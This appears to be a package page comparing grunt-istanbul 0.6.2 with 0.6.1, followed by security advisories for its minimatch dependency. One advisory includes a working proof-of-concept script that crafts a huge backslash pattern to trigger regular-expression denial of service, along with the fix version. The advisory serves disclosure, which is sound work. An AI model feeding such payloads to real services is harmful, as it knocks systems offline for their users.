Grunt-istanbul is a valuable Grunt plugin that empowers developers to generate JavaScript code coverage reports directly within their Grunt workflows. Version 0.6.2 introduces notable updates compared to its predecessor, version 0.6.1, making it a worthwhile upgrade for developers seeking enhanced functionality and dependency management.
A key difference lies in the updated dependencies. Version 0.6.2 adopts chalk version 1.1.1 and istanbul version 0.4.2. This is in contrast to version 0.6.1, which used chalk version 1.0.0 and istanbul version 0.3.7. These updates might include bug fixes, performance improvements, or new features within the underlying chalk and istanbul libraries, which could directly impact the code coverage reporting process. The developer dependencies have also been touched with grunt-contrib-jshint, grunt-contrib-clean and rimraf going up to newer versions.
Developers should assess whether the updated versions of these dependencies introduce any breaking changes or offer compelling advantages for their specific projects. By staying current with the latest dependencies, developers can ensure compatibility and potentially benefit from improved performance or features in their code coverage workflows.
Both versions maintain the same peer dependency on Grunt (version 0.4.5), indicating that the core integration with Grunt remains consistent. However, the changes in core dependencies suggest a focus on stability and leveraging the latest advancements within the JavaScript code coverage ecosystem.
All the vulnerabilities related to the version 0.6.2 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
